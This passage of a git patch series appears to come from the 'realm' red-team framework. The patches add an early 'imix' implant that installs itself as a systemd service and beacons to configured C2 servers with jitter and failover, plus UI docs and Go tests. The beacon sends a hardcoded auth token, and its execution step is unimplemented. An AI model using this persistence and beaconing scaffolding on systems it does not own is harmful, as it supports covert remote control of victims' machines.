"58893f751c9b0412871a09abd62ecd2a00298c6c83befa223ef98c52aef40cbe" + +[[package]] +name = "ppv-lite86" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" + [[package]] name = "proc-macro2" version = "1.0.36" @@ -119,12 +529,99 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" +dependencies = [ + "bitflags", +] + +[[package]] +name = "remove_dir_all" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" +dependencies = [ + "winapi", +] + [[package]] name = "ryu" version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f" +[[package]] +name = "schannel" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f05ba609c234e60bee0d547fe94a4c7e9da733d1c962cf6e59efa4cd9c8bc75" +dependencies = [ + "lazy_static", + "winapi", +] + +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "security-framework" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dc14f172faf8a0194a3aded622712b0de276821addc574fa54fc0a1167e10dc" +dependencies = [ + "bitflags", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "serde" version = "1.0.136" @@ -156,6 +653,37 @@ dependencies = [ "serde", ] +[[package]] +name = "signal-hook-registry" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0" +dependencies = [ + "libc", +] + +[[package]] +name = "slab" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9def91fd1e018fe007022791f865d0ccc9b3a0d5001e01aabb8b40e46000afb5" + +[[package]] +name = "smallvec" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83" + +[[package]] +name = "socket2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "strsim" version = "0.10.0" @@ -173,6 +701,20 @@ dependencies = [ "unicode-xid", ] +[[package]] +name = "tempfile" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" +dependencies = [ + "cfg-if", + "fastrand", + "libc", + "redox_syscall", + "remove_dir_all", + "winapi", +] + [[package]] name = "termcolor" version = "1.1.2" @@ -188,12 +730,131 @@ version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" +[[package]] +name = "tokio" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af73ac49756f3f7c01172e34a23e5d0216f6c32333757c2c61feb2bbff5a5ee" +dependencies = [ + "bytes", + "libc", + "memchr", + "mio", + "num_cpus", + "once_cell", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "winapi", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b557f72f448c511a979e2564e55d74e6c4432fc96ff4f6241bc6bded342643b7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e99e1983e5d376cd8eb4b66604d2e99e79f5bd988c3055891dcd8c9e2604cc0" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "log", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower-service" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6" + +[[package]] +name = "tracing" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d8d93354fe2a8e50d5953f5ae2e47a3fc2ef03292e7ea46e3cc38f549525fb9" +dependencies = [ + "cfg-if", + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03cfcb51380632a72d3111cb8d3447a8d908e577d31beeac006f836383d29a23" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "try-lock" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" + [[package]] name = "unicode-xid" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "want" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" +dependencies = [ + "log", + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.10.2+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" + [[package]] name = "winapi" version = "0.3.9" @@ -224,3 +885,46 @@ name = "winapi-x86_64-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-sys" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3df6e476185f92a12c072be4a189a0210dcdcf512a1891d6dff9edb874deadc6" +dependencies = [ + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8e92753b1c443191654ec532f14c199742964a061be25d77d7a96f09db20bf5" + +[[package]] +name = "windows_i686_gnu" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a711c68811799e017b6038e0922cb27a5e2f43a2ddb609fe0b6f3eeda9de615" + +[[package]] +name = "windows_i686_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "146c11bb1a02615db74680b32a68e2d61f553cc24c4eb5b4ca10311740e44172" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c912b12f7454c6620635bbff3450962753834be2a594819bd5e945af18ec64bc" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "504a2476202769977a040c6364301a3f65d0cc9e3fb08600b2bda150a0488316" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index cb307d15e..8b08d2a28 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -7,5 +7,11 @@ edition = "2021" [dependencies] clap = { version = "3.0" } +rand = "0.8.5" +openssl = { version = "0.10", features = ["vendored"] } serde = { version = "1.0", features = ["derive"] } -serde_json = "1.0" \ No newline at end of file +serde_json = "1.0" +hyper = { version = "0.14", features = ["full"] } +hyper-timeout = "0.4" +hyper-tls = "0.5.0" +tokio = { version = "1", features = ["full"] } \ No newline at end of file diff --git a/cmd/imix/src/graphql.rs b/cmd/imix/src/graphql.rs new file mode 100644 index 000000000..f59bd6e26 --- /dev/null +++ b/cmd/imix/src/graphql.rs @@ -0,0 +1,62 @@ +use serde::{Serialize, Deserialize}; +use std::time::Duration; + +use hyper::{Client, Request, Method, Body}; +use hyper::body; + +use hyper_tls::HttpsConnector; +use hyper_timeout::TimeoutConnector; + +#[derive(Serialize, Deserialize)] +struct GraphQLRequest { + #[serde(rename="operationName")] + operation_name: String, + query: String, + variables: String +} + +#[derive(Serialize, Deserialize)] +struct GraphQLCallbackResponse { + id: u64 +} + +#[derive(Serialize, Deserialize)] +struct GraphQLMutationsResponse { + callback: GraphQLCallbackResponse +} + +#[derive(Serialize, Deserialize)] +pub struct GraphQLResponse { + data: GraphQLMutationsResponse +} + +pub async fn call(variables: String, uri: String, timeout: u64) -> Result{ + let h = HttpsConnector::new(); + let mut connector = TimeoutConnector::new(h); + connector.set_connect_timeout(Some(Duration::from_secs(timeout))); + connector.set_read_timeout(Some(Duration::from_secs(timeout))); + connector.set_write_timeout(Some(Duration::from_secs(timeout))); + let client = Client::builder().build::<_, hyper::Body>(connector); + + let req_body = serde_json::to_string(&GraphQLRequest { + operation_name: String::from("ImixCallback"), + query: String::from(r#" + mutation ImixCallback($target_id: ID!) { + callback(input: $target_id) { + id + } + }"#), + variables: variables, + })?; + let req = Request::builder() + .method(Method::POST) + .uri(uri) + .header("X-Realm-Auth", "letmeinnn") + .body(Body::from(req_body))?; + + let http_resp = client.request(req).await?; + let http_resp_body = body::to_bytes(http_resp).await?; + let resp: GraphQLResponse = serde_json::from_slice(&http_resp_body)?; + + Ok(resp) +} \ No newline at end of file diff --git a/cmd/imix/src/lib.rs b/cmd/imix/src/lib.rs index 316a14e4b..8415a69af 100644 --- a/cmd/imix/src/lib.rs +++ b/cmd/imix/src/lib.rs @@ -1,12 +1,48 @@ use serde::{Serialize, Deserialize}; -#[derive(Serialize, Deserialize)] +#[derive(Debug)] +pub enum Error { + Io(std::io::Error), + HyperInvalidUri(hyper::http::uri::InvalidUri), + HyperHttp(hyper::http::Error), + Hyper(hyper::Error), + SerdeJson(serde_json::Error) +} + +impl From for Error { + fn from(error: std::io::Error) -> Self { + Error::Io(error) + } +} + +impl From for Error { + fn from(error: hyper::http::uri::InvalidUri) -> Self { + Error::HyperInvalidUri(error) + } +} + +impl From for Error { + fn from(error: hyper::http::Error) -> Self { + Error::HyperHttp(error) + } +} + +impl From for Error { + fn from(error: hyper::Error) -> Self { + Error::Hyper(error) + } +} + +impl From for Error { + fn from(error: serde_json::Error) -> Self { + Error::SerdeJson(error) + } +} + +#[derive(Serialize, Deserialize, Clone)] pub struct C2Config { uri: String, - timeout: u32, priority: u8, - sticky: bool, - failsafe: bool } #[derive(Serialize, Deserialize)] @@ -16,14 +52,22 @@ pub struct ServiceConfig { executable_path: String } +#[derive(Serialize, Deserialize)] +pub struct CallbackConfig { + interval: u64, + jitter: u64, + timeout: u64, + c2_configs: Vec, +} + #[derive(Serialize, Deserialize)] pub struct Config { target_name: String, - callback_interval: u32, - callback_jitter: u32, - c2_configs: Vec, + target_forward_connect_ip: String, + callback_config: CallbackConfig, service_configs: Vec, } pub mod windows; -pub mod linux; \ No newline at end of file +pub mod linux; +pub mod graphql; \ No newline at end of file diff --git a/cmd/imix/src/linux.rs b/cmd/imix/src/linux.rs index e41b24897..2df4b0761 100644 --- a/cmd/imix/src/linux.rs +++ b/cmd/imix/src/linux.rs @@ -1,9 +1,10 @@ -use std::fs; +use std::{fs, thread, time}; +use rand::Rng; use std::process::Command; pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; -pub fn install(config: super::Config)-> std::io::Result<()> { +pub async fn install(config: super::Config)-> Result<(), super::Error> { // go through each service config consuming the structs for service_config in config.service_configs.into_iter() { let service_name = service_config.name; @@ -56,4 +57,44 @@ WantedBy=multi-user.target Command::new("systemctl").arg("start").arg(&service_name).output()?; } Ok(()) +} + +async fn exec(_response: super::graphql::GraphQLResponse) -> Result<(), super::Error> { + unimplemented!("this is where i would exec a tome... if i had one!") +} + +pub async fn run(config: super::Config) -> Result<(), super::Error> { + println!("Linux run!"); + let mut c2_index = 0; + let callback_config = config.callback_config; + let interval = callback_config.interval; + let jitter = callback_config.jitter; + + loop { + loop { + let c2_config = callback_config.c2_configs[c2_index].clone(); + + // TODO: do something with c2_config and pass in for graphql + let resp = match super::graphql::call( + String::from("variables"), + c2_config.uri.clone(), + callback_config.timeout + ).await { + Ok(r) => r, + Err(_) => { + c2_index = (c2_index + 1) % callback_config.c2_configs.len(); + // wait 5 second between failovers + thread::sleep(time::Duration::from_secs(5)); + continue; + }, + }; + exec(resp).await?; + break; + } + + // sleep for interval - jitter delta + let mut rng = rand::thread_rng(); + let delta = rng.gen_range(0..jitter); + thread::sleep(time::Duration::from_secs(interval-delta)); + } } \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index dc6cd9d00..b399ba24c 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -5,30 +5,45 @@ use std::fs::File; use std::path::Path; -fn install(file_path: String) -> std::io::Result<()> { - println!("Installing with {} config...", file_path); - let config_file = File::open(file_path)?; +async fn install(config_path: String) -> Result<(), imix::Error> { + let config_file = File::open(config_path)?; let config: imix::Config = serde_json::from_reader(config_file)?; - if cfg!(windows) { - return imix::windows::install(config); - } + #[cfg(target_os = "windows")] + return imix::windows::install(config).await; + + #[cfg(target_os = "linux")] + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::install(config).await; + } + + unimplemented!("The current OS/Service Manager is not supported") +} - if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { - return imix::linux::install(config); - } +async fn run(config_path: String) -> Result<(), imix::Error> { + let config_file = File::open(config_path)?; + let config: imix::Config = serde_json::from_reader(config_file)?; - unimplemented!("The current OS/Service Manager is not supported") -} + #[cfg(target_os = "windows")] + return imix::windows::run(config).await; -fn run() -> std::io::Result<()> { - println!("Running..."); + #[cfg(target_os = "linux")] + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::run(config).await; + } - Ok(()) + unimplemented!("The current OS/Manager is not supported") } -fn main() -> std::io::Result<()> { +#[tokio::main] +async fn main() -> Result<(), imix::Error> { let matches = App::new("imix") + .arg( + arg!( + -c --config "Sets a custom config file" + ) + .required(false) + ) .subcommand( App::new("install") .about("Run in install mode") @@ -41,11 +56,15 @@ fn main() -> std::io::Result<()> { ) .get_matches(); + if let Some(config_path) = matches.value_of("config") { + return run(String::from(config_path)).await + } + match matches.subcommand() { Some(("install", args)) => { - let file_path_str = args.value_of("config").unwrap(); - install(String::from(file_path_str)) + let config_path = args.value_of("config").unwrap(); + install(String::from(config_path)).await }, - _ => run(), + _ => Ok(()) } } diff --git a/cmd/imix/src/windows.rs b/cmd/imix/src/windows.rs index d87847625..aa52c171b 100644 --- a/cmd/imix/src/windows.rs +++ b/cmd/imix/src/windows.rs @@ -1,4 +1,8 @@ -pub fn install(_config: super::Config)-> std::io::Result<()> { +pub async fn install(_config: super::Config)-> Result<(), super::Error> { + unimplemented!("Windows is currently not supported") +} + +pub async fn run(_config: super::Config)-> Result<(), super::Error> { unimplemented!("Windows is currently not supported") } \ No newline at end of file From 00b396450d177e71829b6362e4ded742f55c977c Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 17 Feb 2022 06:04:14 +0000 Subject: [PATCH 05/56] changed the String to a PathBuf for newman :^) --- cmd/imix/src/graphql.rs | 1 + cmd/imix/src/linux.rs | 10 +++++----- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/cmd/imix/src/graphql.rs b/cmd/imix/src/graphql.rs index f59bd6e26..853eb52eb 100644 --- a/cmd/imix/src/graphql.rs +++ b/cmd/imix/src/graphql.rs @@ -58,5 +58,6 @@ pub async fn call(variables: String, uri: String, timeout: u64) -> Result Result<(), super::Error> { loop { loop { let c2_config = callback_config.c2_configs[c2_index].clone(); - + // TODO: do something with c2_config and pass in for graphql let resp = match super::graphql::call( String::from("variables"), From 2c066e813213ecd73047310ff707721b744b4612 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Mon, 21 Feb 2022 20:30:50 -0500 Subject: [PATCH 06/56] Update README.md --- cmd/tavern/internal/www/README.md | 51 ++++++------------------------- 1 file changed, 9 insertions(+), 42 deletions(-) diff --git a/cmd/tavern/internal/www/README.md b/cmd/tavern/internal/www/README.md index b87cb0044..4ac0e42eb 100644 --- a/cmd/tavern/internal/www/README.md +++ b/cmd/tavern/internal/www/README.md @@ -1,46 +1,13 @@ -# Getting Started with Create React App +# Tavern UI +This package contains the relevant code for the Tavern UI. It primarily uses [React](https://reactjs.org/docs/getting-started.html) + [Relay](https://relay.dev/docs/guided-tour/) in combination with [TypeScript](https://www.typescriptlang.org/), but depends on code generation to function properly. Read on for more development information. -This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app). +## Code Generation +Any relevant code generation can be executed by running `go generate ./cmd/tavern/internal/www/generate.go` or will automatically be executed when running `go generate ./...`. Code generation is responsible for: -## Available Scripts +* Constructing the GraphQL schema by concatenating all schema files under the [/graphql/schema directory](https://github.com/KCarretto/realm/tree/main/graphql/schema). -In the project directory, you can run: +## Testing Changes -### `npm start` - -Runs the app in the development mode.\ -Open [http://localhost:3000](http://localhost:3000) to view it in the browser. - -The page will reload if you make edits.\ -You will also see any lint errors in the console. - -### `npm test` - -Launches the test runner in the interactive watch mode.\ -See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information. - -### `npm run build` - -Builds the app for production to the `build` folder.\ -It correctly bundles React in production mode and optimizes the build for the best performance. - -The build is minified and the filenames include the hashes.\ -Your app is ready to be deployed! - -See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information. - -### `npm run eject` - -**Note: this is a one-way operation. Once you `eject`, you can’t go back!** - -If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. - -Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. - -You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. - -## Learn More - -You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started). - -To learn React, check out the [React documentation](https://reactjs.org/). +1. Run `go generate ./...` to ensure all code generation is up to date +2. Run `go run ./cmd/tavern` to start the teamserver (for the GraphQL API) +3. In a separate terminal, navigate to the [UI Root /cmd/tavern/internal/www](https://github.com/KCarretto/realm/tree/main/cmd/tavern/internal/www) and run `npm start` (Note this will also run the [Relay compiler](https://relay.dev/docs/guides/compiler/)) From 4c4d3a776819bc5515f57316f2eee2a85cbacc25 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Tue, 22 Feb 2022 02:49:58 +0000 Subject: [PATCH 07/56] Fixed bug with tests (only encountered when they fail on a require) --- cmd/tavern/internal/cdn/download_test.go | 12 ++++++------ cmd/tavern/internal/cdn/upload_test.go | 10 +++++----- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cmd/tavern/internal/cdn/download_test.go b/cmd/tavern/internal/cdn/download_test.go index 6fc762d1d..5946f7fb2 100644 --- a/cmd/tavern/internal/cdn/download_test.go +++ b/cmd/tavern/internal/cdn/download_test.go @@ -27,7 +27,7 @@ func TestDownload(t *testing.T) { t.Run("File", newDownloadTest( graph, newDownloadRequest(t, existingFile.Name), - func(fileContent []byte, err *errors.HTTP) { + func(t *testing.T, fileContent []byte, err *errors.HTTP) { assert.Nil(t, err) assert.Equal(t, string(expectedContent), string(fileContent)) }, @@ -35,7 +35,7 @@ func TestDownload(t *testing.T) { t.Run("CachedFile", newDownloadTest( graph, newDownloadRequest(t, existingFile.Name, withIfNoneMatchHeader(existingFile.Hash)), - func(fileContent []byte, err *errors.HTTP) { + func(t *testing.T, fileContent []byte, err *errors.HTTP) { require.NotNil(t, err) assert.Equal(t, http.StatusNotModified, err.StatusCode) assert.ErrorContains(t, err, cdn.ErrFileNotModified.Error()) @@ -45,7 +45,7 @@ func TestDownload(t *testing.T) { t.Run("NonExistentFile", newDownloadTest( graph, newDownloadRequest(t, "ThisFileDoesNotExist"), - func(fileContent []byte, err *errors.HTTP) { + func(t *testing.T, fileContent []byte, err *errors.HTTP) { require.NotNil(t, err) assert.Equal(t, http.StatusNotFound, err.StatusCode) assert.ErrorContains(t, err, cdn.ErrFileNotFound.Error()) @@ -55,7 +55,7 @@ func TestDownload(t *testing.T) { } // newDownloadTest initializes a new test case for the download handler. -func newDownloadTest(graph *ent.Client, req *http.Request, checks ...func(fileContent []byte, err *errors.HTTP)) func(*testing.T) { +func newDownloadTest(graph *ent.Client, req *http.Request, checks ...func(t *testing.T, fileContent []byte, err *errors.HTTP)) func(*testing.T) { return func(t *testing.T) { // Initialize Download Handler handler := cdn.NewDownloadHandler(graph) @@ -78,7 +78,7 @@ func newDownloadTest(graph *ent.Client, req *http.Request, checks ...func(fileCo // Run Checks for _, check := range checks { - check(body, nil) + check(t, body, nil) } return } @@ -86,7 +86,7 @@ func newDownloadTest(graph *ent.Client, req *http.Request, checks ...func(fileCo // Parse Error from failed response and run checks httpErr := errors.NewHTTP(string(body), result.StatusCode) for _, check := range checks { - check(nil, &httpErr) + check(t, nil, &httpErr) } } } diff --git a/cmd/tavern/internal/cdn/upload_test.go b/cmd/tavern/internal/cdn/upload_test.go index 15b803c63..9b1358ac7 100644 --- a/cmd/tavern/internal/cdn/upload_test.go +++ b/cmd/tavern/internal/cdn/upload_test.go @@ -34,7 +34,7 @@ func TestUpload(t *testing.T) { t.Run("NewFile", newUploadTest( graph, newUploadRequest(t, "NewUploadTestFile", expectedContent), - func(id int, err error) { + func(t *testing.T, id int, err error) { require.NoError(t, err) assert.NotEqual(t, 0, id) @@ -50,7 +50,7 @@ func TestUpload(t *testing.T) { t.Run("ExistingFile", newUploadTest( graph, newUploadRequest(t, existingFile.Name, newExpectedContent), - func(id int, err error) { + func(t *testing.T, id int, err error) { require.NoError(t, err) assert.NotEqual(t, 0, id) @@ -67,7 +67,7 @@ func TestUpload(t *testing.T) { } // newUploadTest initializes a new test case for the upload handler. -func newUploadTest(graph *ent.Client, req *http.Request, checks ...func(id int, err error)) func(*testing.T) { +func newUploadTest(graph *ent.Client, req *http.Request, checks ...func(t *testing.T, id int, err error)) func(*testing.T) { return func(t *testing.T) { // Initialize Upload Handler handler := cdn.NewUploadHandler(graph) @@ -94,14 +94,14 @@ func newUploadTest(graph *ent.Client, req *http.Request, checks ...func(id int, require.NoError(t, json.Unmarshal(body, &resp), "failed to unmarshal json with 200 response code: %s", body) for _, check := range checks { - check(resp.Data.File.ID, nil) + check(t, resp.Data.File.ID, nil) } return } // Parse Error from failed response and run checks for _, check := range checks { - check(0, fmt.Errorf("%s", body)) + check(t, 0, fmt.Errorf("%s", body)) } } } From 2e31218e47dc0cb8901ce7cbf5d67cc1ffb7581b Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Tue, 22 Feb 2022 03:13:38 +0000 Subject: [PATCH 08/56] Added test for CreateTarget --- ent/migrate/schema.go | 4 +- ent/schema/target.go | 10 ++-- graphql/generated.go | 8 ++-- graphql/gqlgen.yml | 2 +- graphql/mutation.target_test.go | 83 +++++++++++++++++++++++++++++++++ 5 files changed, 96 insertions(+), 11 deletions(-) create mode 100644 graphql/mutation.target_test.go diff --git a/ent/migrate/schema.go b/ent/migrate/schema.go index ccee435d4..2d9457b91 100644 --- a/ent/migrate/schema.go +++ b/ent/migrate/schema.go @@ -49,8 +49,8 @@ var ( // TargetsColumns holds the columns for the "targets" table. TargetsColumns = []*schema.Column{ {Name: "id", Type: field.TypeInt, Increment: true}, - {Name: "name", Type: field.TypeString, Size: 50}, - {Name: "forward_connect_ip", Type: field.TypeString}, + {Name: "name", Type: field.TypeString, Unique: true, Size: 50}, + {Name: "forward_connect_ip", Type: field.TypeString, Unique: true}, } // TargetsTable holds the schema information for the "targets" table. TargetsTable = &schema.Table{ diff --git a/ent/schema/target.go b/ent/schema/target.go index 531174849..1df7dccac 100644 --- a/ent/schema/target.go +++ b/ent/schema/target.go @@ -16,19 +16,21 @@ type Target struct { func (Target) Fields() []ent.Field { return []ent.Field{ field.String("name"). - Comment("A human readable identifier for the target system."). + Unique(). NotEmpty(). MinLen(3). MaxLen(50). Annotations( entgql.OrderField("NAME"), - ), + ). + Comment("A human readable identifier for the target system."), field.String("forwardConnectIP"). - Comment("The IP Address that can be used to connect to the target using a protocol like SSH."). + Unique(). NotEmpty(). Annotations( entgql.OrderField("FORWARD_CONNECT_IP"), - ), + ). + Comment("The IP Address that can be used to connect to the target using a protocol like SSH."), } } diff --git a/graphql/generated.go b/graphql/generated.go index a3cedc5b1..2630fb33b 100644 --- a/graphql/generated.go +++ b/graphql/generated.go @@ -6437,12 +6437,12 @@ func (ec *executionContext) unmarshalNFileWhereInput2ᚖgithubᚗcomᚋkcarretto } func (ec *executionContext) unmarshalNID2int(ctx context.Context, v interface{}) (int, error) { - res, err := graphql.UnmarshalIntID(v) + res, err := graphql.UnmarshalInt(v) return res, graphql.ErrorOnPath(ctx, err) } func (ec *executionContext) marshalNID2int(ctx context.Context, sel ast.SelectionSet, v int) graphql.Marshaler { - res := graphql.MarshalIntID(v) + res := graphql.MarshalInt(v) if res == graphql.Null { if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { ec.Errorf(ctx, "must not be null") @@ -7294,7 +7294,7 @@ func (ec *executionContext) unmarshalOID2ᚖint(ctx context.Context, v interface if v == nil { return nil, nil } - res, err := graphql.UnmarshalIntID(v) + res, err := graphql.UnmarshalInt(v) return &res, graphql.ErrorOnPath(ctx, err) } @@ -7302,7 +7302,7 @@ func (ec *executionContext) marshalOID2ᚖint(ctx context.Context, sel ast.Selec if v == nil { return graphql.Null } - res := graphql.MarshalIntID(*v) + res := graphql.MarshalInt(*v) return res } diff --git a/graphql/gqlgen.yml b/graphql/gqlgen.yml index e47ee1fb3..df2137c05 100644 --- a/graphql/gqlgen.yml +++ b/graphql/gqlgen.yml @@ -26,7 +26,7 @@ struct_tag: json models: ID: model: - - github.com/99designs/gqlgen/graphql.IntID + - github.com/99designs/gqlgen/graphql.Int Node: model: # ent.Noder is the new interface generated by the Node template. diff --git a/graphql/mutation.target_test.go b/graphql/mutation.target_test.go new file mode 100644 index 000000000..603bccf27 --- /dev/null +++ b/graphql/mutation.target_test.go @@ -0,0 +1,83 @@ +package graphql_test + +import ( + "context" + "testing" + + "github.com/99designs/gqlgen/client" + "github.com/99designs/gqlgen/graphql/handler" + "github.com/kcarretto/realm/ent/enttest" + "github.com/kcarretto/realm/graphql" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + _ "github.com/mattn/go-sqlite3" +) + +// TestCreateTarget ensures the createTarget mutation exhibits expected behavior. +func TestCreateTarget(t *testing.T) { + // Initialize Test Context + ctx := context.Background() + + // Initialize DB Backend + graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") + defer graph.Close() + + // Create a new GraphQL client + gqlClient := client.New(handler.NewDefaultServer(graphql.NewSchema(graph))) + + t.Run("New", newCreateTargetTest( + gqlClient, + graphql.CreateTargetInput{ + Name: "TestTarget1", + ForwardConnectIP: "10.0.0.1", + }, + func(t *testing.T, id int, err error) { + require.NoError(t, err) + assert.NotZero(t, id) + target := graph.Target.GetX(ctx, id) + assert.Equal(t, "TestTarget1", target.Name) + assert.Equal(t, "10.0.0.1", target.ForwardConnectIP) + }, + 